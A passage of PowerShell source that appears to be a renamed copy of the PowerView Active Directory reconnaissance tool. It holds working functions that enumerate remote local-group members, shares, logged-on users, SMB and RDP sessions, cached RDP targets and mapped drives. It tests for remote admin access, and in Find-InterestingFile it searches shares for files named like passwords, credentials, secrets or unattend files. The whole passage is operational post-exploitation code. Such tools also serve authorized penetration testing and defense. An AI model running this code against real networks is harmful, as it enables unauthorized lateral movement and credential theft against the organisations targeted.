5185 $LocalUsers += $LocalUser
5186 }
5187 }
5188
5189
5190 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
5191
5192
5193 $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
5194 $Parts = $MachineSid.SID.Split('-')
5195 $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
5196
5197 $LocalUsers | ForEach-Object {
5198 if($_.SID -match $MachineSid) {
5199 $_ | Add-Member Noteproperty 'IsDomain' $False
5200 }
5201 else {
5202 $_ | Add-Member Noteproperty 'IsDomain' $True
5203 }
5204 }
5205 $LocalUsers
5206 }
5207 else {
5208 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
5209 }
5210 }
5211
5212 else {
5213
5214 try {
5215 if($ListGroups) {
5216
5217 $Computer = [ADSI]"WinNT://$Server,computer"
5218
5219 $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
5220 $Group = New-Object PSObject
5221 $Group | Add-Member Noteproperty 'Server' $Server
5222 $Group | Add-Member Noteproperty 'Group' ($_.name[0])
5223 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
5224 $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
5225 $Group.PSObject.TypeNames.Add('ShaiView.LocalGroup')
5226 $Group
5227 }
5228 }
5229 else {
5230
5231 $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
5232
5233 $Members | ForEach-Object {
5234
5235 $Member = New-Object PSObject
5236 $Member | Add-Member Noteproperty 'ComputerName' $Server
5237
5238 $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
5239 $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)
5240
5241
5242 $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
5243 $IsGroup = $Class -eq "Group"
5244
5245 if($Name) {
5246 $FQDN = $Name.split("/")[0]
5247 $ObjName = $AdsPath.split("/")[-1]
5248 $Name = "$FQDN/$ObjName"
5249 $IsDomain = $True
5250 }
5251 else {
5252 $ObjName = $AdsPath.split("/")[-1]
5253 $Name = $AdsPath
5254 $IsDomain = $False
5255 }
5256
5257 $Member | Add-Member Noteproperty 'AccountName' $Name
5258 $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
5259 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
5260
5261 if($IsDomain) {
5262
5263 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
5264 $Member | Add-Member Noteproperty 'Description' ""
5265 $Member | Add-Member Noteproperty 'Disabled' ""
5266
5267 if($IsGroup) {
5268 $Member | Add-Member Noteproperty 'LastLogin' ""
5269 }
5270 else {
5271 try {
5272 $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
5273 }
5274 catch {
5275 $Member | Add-Member Noteproperty 'LastLogin' ""
5276 }
5277 }
5278 $Member | Add-Member Noteproperty 'PwdLastSet' ""
5279 $Member | Add-Member Noteproperty 'PwdExpired' ""
5280 $Member | Add-Member Noteproperty 'UserFlags' ""
5281 }
5282 else {
5283
5284 $LocalUser = $([ADSI] "WinNT://$AdsPath")
5285
5286
5287 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
5288 $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
5289
5290 if($IsGroup) {
5291 $Member | Add-Member Noteproperty 'PwdLastSet' ""
5292 $Member | Add-Member Noteproperty 'PwdExpired' ""
5293 $Member | Add-Member Noteproperty 'UserFlags' ""
5294 $Member | Add-Member Noteproperty 'Disabled' ""
5295 $Member | Add-Member Noteproperty 'LastLogin' ""
5296 }
5297 else {
5298 $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
5299 $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
5300 $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
5301
5302 $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
5303 try {
5304 $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
5305 }
5306 catch {
5307 $Member | Add-Member Noteproperty 'LastLogin' ""
5308 }
5309 }
5310 }
5311 $Member.PSObject.TypeNames.Add('ShaiView.LocalUser')
5312 $Member
5313
5314
5315
5316 if($Recurse -and $IsGroup) {
5317 if($IsDomain) {
5318 $FQDN = $Name.split("/")[0]
5319 $GroupName = $Name.split("/")[1].trim()
5320
5321 Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
5322
5323 $Member = New-Object PSObject
5324 $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
5325
5326 $MemberDN = $_.distinguishedName
5327
5328 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
5329
5330 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
5331
5332 if ($_.samAccountName) {
5333
5334 $MemberName = $_.samAccountName
5335 }
5336 else {
5337 try {
5338
5339 try {
5340 $MemberName = Convert-SidToName $_.cn
5341 }
5342 catch {
5343
5344 $MemberName = $_.cn
5345 }
5346 }
5347 catch {
5348 Write-Debug "Error resolving SID : $_"
5349 }
5350 }
5351
5352 $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
5353 $Member | Add-Member Noteproperty 'SID' $_.objectsid
5354 $Member | Add-Member Noteproperty 'Description' $_.description
5355 $Member | Add-Member Noteproperty 'Disabled' $False
5356 $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
5357 $Member | Add-Member Noteproperty 'IsDomain' $True
5358 $Member | Add-Member Noteproperty 'LastLogin' ''
5359 $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
5360 $Member | Add-Member Noteproperty 'PwdExpired' ''
5361 $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
5362 $Member.PSObject.TypeNames.Add('ShaiView.LocalUser')
5363 $Member
5364 }
5365 } else {
5366 Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
5367 }
5368 }
5369 }
5370 }
5371 }
5372 catch {
5373 Write-Warning "[!] Error: $_"
5374 }
5375 }
5376 }
5377 }
5378}
5379
5380filter Get-NetShare {
5381
5382
5383 [CmdletBinding()]
5384 param(
5385 [Parameter(ValueFromPipeline=$True)]
5386 [Alias('HostName')]
5387 [Object[]]
5388 [ValidateNotNullOrEmpty()]
5389 $ComputerName = 'localhost'
5390 )
5391
5392
5393 $Computer = $ComputerName | Get-NameField
5394
5395
5396 $QueryLevel = 1
5397 $PtrInfo = [IntPtr]::Zero
5398 $EntriesRead = 0
5399 $TotalRead = 0
5400 $ResumeHandle = 0
5401
5402
5403 $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
5404
5405
5406 $Offset = $PtrInfo.ToInt64()
5407
5408
5409 if (($Result -eq 0) -and ($Offset -gt 0)) {
5410
5411
5412 $Increment = $SHARE_INFO_1::GetSize()
5413
5414
5415 for ($i = 0; ($i -lt $EntriesRead); $i++) {
5416
5417 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
5418 $Info = $NewIntPtr -as $SHARE_INFO_1
5419
5420
5421 $Shares = $Info | Select-Object *
5422 $Shares | Add-Member Noteproperty 'ComputerName' $Computer
5423 $Offset = $NewIntPtr.ToInt64()
5424 $Offset += $Increment
5425 $Shares
5426 }
5427
5428
5429 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
5430 }
5431 else {
5432 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
5433 }
5434}
5435
5436
5437filter Get-NetLoggedon {
5438
5439
5440 [CmdletBinding()]
5441 param(
5442 [Parameter(ValueFromPipeline=$True)]
5443 [Alias('HostName')]
5444 [Object[]]
5445 [ValidateNotNullOrEmpty()]
5446 $ComputerName = 'localhost'
5447 )
5448
5449
5450 $Computer = $ComputerName | Get-NameField
5451
5452
5453 $QueryLevel = 1
5454 $PtrInfo = [IntPtr]::Zero
5455 $EntriesRead = 0
5456 $TotalRead = 0
5457 $ResumeHandle = 0
5458
5459
5460 $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
5461
5462
5463 $Offset = $PtrInfo.ToInt64()
5464
5465
5466 if (($Result -eq 0) -and ($Offset -gt 0)) {
5467
5468
5469 $Increment = $WKSTA_USER_INFO_1::GetSize()
5470
5471
5472 for ($i = 0; ($i -lt $EntriesRead); $i++) {
5473
5474 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
5475 $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
5476
5477
5478 $LoggedOn = $Info | Select-Object *
5479 $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
5480 $Offset = $NewIntPtr.ToInt64()
5481 $Offset += $Increment
5482 $LoggedOn
5483 }
5484
5485
5486 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
5487 }
5488 else {
5489 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
5490 }
5491}
5492
5493
5494filter Get-NetSession {
5495
5496
5497 [CmdletBinding()]
5498 param(
5499 [Parameter(ValueFromPipeline=$True)]
5500 [Alias('HostName')]
5501 [Object[]]
5502 [ValidateNotNullOrEmpty()]
5503 $ComputerName = 'localhost',
5504
5505 [String]
5506 $UserName = ''
5507 )
5508
5509
5510 $Computer = $ComputerName | Get-NameField
5511
5512
5513 $QueryLevel = 10
5514 $PtrInfo = [IntPtr]::Zero
5515 $EntriesRead = 0
5516 $TotalRead = 0
5517 $ResumeHandle = 0
5518
5519
5520 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
5521
5522
5523 $Offset = $PtrInfo.ToInt64()
5524
5525
5526 if (($Result -eq 0) -and ($Offset -gt 0)) {
5527
5528
5529 $Increment = $SESSION_INFO_10::GetSize()
5530
5531
5532 for ($i = 0; ($i -lt $EntriesRead); $i++) {
5533
5534 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
5535 $Info = $NewIntPtr -as $SESSION_INFO_10
5536
5537
5538 $Sessions = $Info | Select-Object *
5539 $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
5540 $Offset = $NewIntPtr.ToInt64()
5541 $Offset += $Increment
5542 $Sessions
5543 }
5544
5545 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
5546 }
5547 else {
5548 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
5549 }
5550}
5551
5552
5553filter Get-LoggedOnLocal {
5554
5555
5556 [CmdletBinding()]
5557 param(
5558 [Parameter(ValueFromPipeline=$True)]
5559 [Alias('HostName')]
5560 [Object[]]
5561 [ValidateNotNullOrEmpty()]
5562 $ComputerName = 'localhost'
5563 )
5564
5565
5566 $ComputerName = Get-NameField -Object $ComputerName
5567
5568 try {
5569
5570 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
5571
5572
5573 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
5574 $UserName = Convert-SidToName $_
5575
5576 $Parts = $UserName.Split('\')
5577 $UserDomain = $Null
5578 $UserName = $Parts[-1]
5579 if ($Parts.Length -eq 2) {
5580 $UserDomain = $Parts[0]
5581 }
5582
5583 $LocalLoggedOnUser = New-Object PSObject
5584 $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
5585 $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
5586 $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
5587 $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
5588 $LocalLoggedOnUser
5589 }
5590 }
5591 catch {
5592 Write-Verbose "Error opening remote registry on '$ComputerName'"
5593 }
5594}
5595
5596
5597filter Get-NetRDPSession {
5598
5599
5600 [CmdletBinding()]
5601 param(
5602 [Parameter(ValueFromPipeline=$True)]
5603 [Alias('HostName')]
5604 [Object[]]
5605 [ValidateNotNullOrEmpty()]
5606 $ComputerName = 'localhost'
5607 )
5608
5609
5610 $Computer = $ComputerName | Get-NameField
5611
5612
5613 $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
5614
5615
5616 if ($Handle -ne 0) {
5617
5618
5619 $ppSessionInfo = [IntPtr]::Zero
5620 $pCount = 0
5621
5622
5623 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
5624
5625
5626 $Offset = $ppSessionInfo.ToInt64()
5627
5628 if (($Result -ne 0) -and ($Offset -gt 0)) {
5629
5630
5631 $Increment = $WTS_SESSION_INFO_1::GetSize()
5632
5633
5634 for ($i = 0; ($i -lt $pCount); $i++) {
5635
5636
5637 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
5638 $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
5639
5640 $RDPSession = New-Object PSObject
5641
5642 if ($Info.pHostName) {
5643 $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
5644 }
5645 else {
5646
5647 $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
5648 }
5649
5650 $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
5651
5652 if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
5653
5654 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
5655 }
5656 else {
5657 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
5658 }
5659
5660 $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
5661 $RDPSession | Add-Member Noteproperty 'State' $Info.State
5662
5663 $ppBuffer = [IntPtr]::Zero
5664 $pBytesReturned = 0
5665
5666
5667
5668 $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
5669
5670 if($Result -eq 0) {
5671 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
5672 }
5673 else {
5674 $Offset2 = $ppBuffer.ToInt64()
5675 $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
5676 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
5677
5678 $SourceIP = $Info2.Address
5679 if($SourceIP[2] -ne 0) {
5680 $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
5681 }
5682 else {
5683 $SourceIP = $Null
5684 }
5685
5686 $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
5687 $RDPSession
5688
5689
5690 $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
5691
5692 $Offset += $Increment
5693 }
5694 }
5695
5696 $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
5697 }
5698 else {
5699 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
5700 }
5701
5702 $Null = $Wtsapi32::WTSCloseServer($Handle)
5703 }
5704 else {
5705 Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
5706 }
5707}
5708
5709
5710filter Invoke-CheckLocalAdminAccess {
5711
5712
5713 [CmdletBinding()]
5714 param(
5715 [Parameter(ValueFromPipeline=$True)]
5716 [Alias('HostName')]
5717 [Object[]]
5718 [ValidateNotNullOrEmpty()]
5719 $ComputerName = 'localhost'
5720 )
5721
5722
5723 $Computer = $ComputerName | Get-NameField
5724
5725
5726
5727 $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
5728
5729 Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"
5730
5731 $IsAdmin = New-Object PSObject
5732 $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
5733
5734
5735 if ($Handle -ne 0) {
5736 $Null = $Advapi32::CloseServiceHandle($Handle)
5737 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
5738 }
5739 else {
5740 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
5741 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
5742 }
5743
5744 $IsAdmin
5745}
5746
5747
5748filter Get-SiteName {
5749
5750 [CmdletBinding()]
5751 param(
5752 [Parameter(ValueFromPipeline=$True)]
5753 [Alias('HostName')]
5754 [Object[]]
5755 [ValidateNotNullOrEmpty()]
5756 $ComputerName = $Env:ComputerName
5757 )
5758
5759
5760 $Computer = $ComputerName | Get-NameField
5761
5762
5763 if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
5764 $IPAddress = $Computer
5765 $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
5766 }
5767 else {
5768 $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
5769 }
5770
5771 $PtrInfo = [IntPtr]::Zero
5772
5773 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
5774
5775 $ComputerSite = New-Object PSObject
5776 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
5777 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
5778
5779 if ($Result -eq 0) {
5780 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
5781 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
5782 }
5783 else {
5784 $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
5785 $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
5786 }
5787
5788 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
5789
5790 $ComputerSite
5791}
5792
5793
5794filter Get-LastLoggedOn {
5795
5796 [CmdletBinding()]
5797 param(
5798 [Parameter(ValueFromPipeline=$True)]
5799 [Alias('HostName')]
5800 [Object[]]
5801 [ValidateNotNullOrEmpty()]
5802 $ComputerName = 'localhost',
5803
5804 [Management.Automation.PSCredential]
5805 $Credential
5806 )
5807
5808
5809 $Computer = $ComputerName | Get-NameField
5810
5811
5812 $HKLM = 2147483650
5813
5814
5815 try {
5816
5817 if($Credential) {
5818 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
5819 }
5820 else {
5821 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
5822 }
5823
5824 $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
5825 $Value = "LastLoggedOnUser"
5826 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
5827
5828 $LastLoggedOn = New-Object PSObject
5829 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
5830 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
5831 $LastLoggedOn
5832 }
5833 catch {
5834 Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
5835 }
5836}
5837
5838
5839filter Get-CachedRDPConnection {
5840
5841
5842 [CmdletBinding()]
5843 param(
5844 [Parameter(ValueFromPipeline=$True)]
5845 [Alias('HostName')]
5846 [Object[]]
5847 [ValidateNotNullOrEmpty()]
5848 $ComputerName = 'localhost',
5849
5850 [Management.Automation.PSCredential]
5851 $Credential
5852 )
5853
5854
5855 $Computer = $ComputerName | Get-NameField
5856
5857
5858 $HKU = 2147483651
5859
5860 try {
5861 if($Credential) {
5862 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
5863 }
5864 else {
5865 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
5866 }
5867
5868
5869 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
5870
5871 foreach ($UserSID in $UserSIDs) {
5872
5873 try {
5874 $UserName = Convert-SidToName $UserSID
5875
5876
5877 $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
5878
5879 foreach ($Connection in $ConnectionKeys) {
5880
5881 if($Connection -match 'MRU.*') {
5882 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
5883
5884 $FoundConnection = New-Object PSObject
5885 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
5886 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
5887 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
5888 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
5889 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
5890 $FoundConnection
5891 }
5892 }
5893
5894
5895 $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
5896
5897 foreach ($Server in $ServerKeys) {
5898
5899 $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
5900
5901 $FoundConnection = New-Object PSObject
5902 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
5903 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
5904 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
5905 $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
5906 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
5907 $FoundConnection
5908 }
5909
5910 }
5911 catch {
5912 Write-Verbose "Error: $_"
5913 }
5914 }
5915
5916 }
5917 catch {
5918 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
5919 }
5920}
5921
5922
5923filter Get-RegistryMountedDrive {
5924
5925
5926 [CmdletBinding()]
5927 param(
5928 [Parameter(ValueFromPipeline=$True)]
5929 [Alias('HostName')]
5930 [Object[]]
5931 [ValidateNotNullOrEmpty()]
5932 $ComputerName = 'localhost',
5933
5934 [Management.Automation.PSCredential]
5935 $Credential
5936 )
5937
5938
5939 $Computer = $ComputerName | Get-NameField
5940
5941
5942 $HKU = 2147483651
5943
5944 try {
5945 if($Credential) {
5946 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
5947 }
5948 else {
5949 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
5950 }
5951
5952
5953 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
5954
5955 foreach ($UserSID in $UserSIDs) {
5956
5957 try {
5958 $UserName = Convert-SidToName $UserSID
5959
5960 $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
5961
5962 ForEach($DriveLetter in $DriveLetters) {
5963 $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
5964 $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
5965 $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
5966 if(-not $UserName) { $UserName = '' }
5967
5968 if($RemotePath -and ($RemotePath -ne '')) {
5969 $MountedDrive = New-Object PSObject
5970 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
5971 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
5972 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
5973 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
5974 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
5975 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
5976 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
5977 $MountedDrive
5978 }
5979 }
5980 }
5981 catch {
5982 Write-Verbose "Error: $_"
5983 }
5984 }
5985 }
5986 catch {
5987 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
5988 }
5989}
5990
5991
5992filter Get-NetProcess {
5993
5994
5995 [CmdletBinding()]
5996 param(
5997 [Parameter(ValueFromPipeline=$True)]
5998 [Alias('HostName')]
5999 [Object[]]
6000 [ValidateNotNullOrEmpty()]
6001 $ComputerName = [System.Net.Dns]::GetHostName(),
6002
6003 [Management.Automation.PSCredential]
6004 $Credential
6005 )
6006
6007
6008 $Computer = $ComputerName | Get-NameField
6009
6010 try {
6011 if($Credential) {
6012 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
6013 }
6014 else {
6015 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
6016 }
6017
6018 $Processes | ForEach-Object {
6019 $Owner = $_.getowner();
6020 $Process = New-Object PSObject
6021 $Process | Add-Member Noteproperty 'ComputerName' $Computer
6022 $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
6023 $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
6024 $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
6025 $Process | Add-Member Noteproperty 'User' $Owner.User
6026 $Process
6027 }
6028 }
6029 catch {
6030 Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
6031 }
6032}
6033
6034
6035function Find-InterestingFile {
6036
6037 param(
6038 [Parameter(ValueFromPipeline=$True)]
6039 [String]
6040 $Path = '.\',
6041
6042 [Alias('Terms')]
6043 [String[]]
6044 $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
6045
6046 [Switch]
6047 $OfficeDocs,
6048
6049 [Switch]
6050 $FreshEXEs,
6051
6052 [String]
6053 $LastAccessTime,
6054
6055 [String]
6056 $LastWriteTime,
6057
6058 [String]
6059 $CreationTime,
6060
6061 [Switch]
6062 $ExcludeFolders,
6063
6064 [Switch]
6065 $ExcludeHidden,
6066
6067 [Switch]
6068 $CheckWriteAccess,
6069
6070 [String]
6071 $OutFile,
6072
6073 [Switch]
6074 $UsePSDrive
6075 )
6076
6077 begin {
6078
6079 $Path += if(!$Path.EndsWith('\')) {"\"}
6080
6081 if ($Credential) {
6082 $UsePSDrive = $True
6083 }
6084
6085
6086 $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
6087
6088
6089 if ($OfficeDocs) {
6090 $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
6091 }
6092
6093
6094 if($FreshEXEs) {
6095
6096 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
6097 $SearchTerms = '*.exe'
6098 }
6099
6100 if($UsePSDrive) {
6101
6102
6103 $Parts = $Path.split('\')
6104 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
6105 $FilePath = $Parts[-1]
6106
6107 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
6108
6109 Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
6110
6111 try {
6112 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
6113 }
6114 catch {
6115 Write-Verbose "Error mounting path '$Path' : $_"
6116 return $Null
6117 }
6118
6119
6120 $Path = "${RandDrive}:\${FilePath}"
6121 }
6122 }
6123
6124 process {
6125
6126 Write-Verbose "[*] Search path $Path"
6127
6128 function Invoke-CheckWrite {
6129
6130 [CmdletBinding()]param([String]$Path)
6131 try {
6132 $Filetest = [IO.FILE]::OpenWrite($Path)
6133 $Filetest.Close()
6134 $True
6135 }
6136 catch {
6137 Write-Verbose -Message $Error[0]
6138 $False
6139 }
6140 }
6141
6142 $SearchArgs = @{
6143 'Path' = $Path
6144 'Recurse' = $True
6145 'Force' = $(-not $ExcludeHidden)
6146 'Include' = $SearchTerms
6147 'ErrorAction' = 'SilentlyContinue'
6148 }
6149
6150 Get-ChildItem @SearchArgs | ForEach-Object {
6151 Write-Verbose $_
6152
6153 if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
6154 } | ForEach-Object {
6155 if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
6156 if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
6157 elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
6158 elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
6159 }
6160 else {$_}
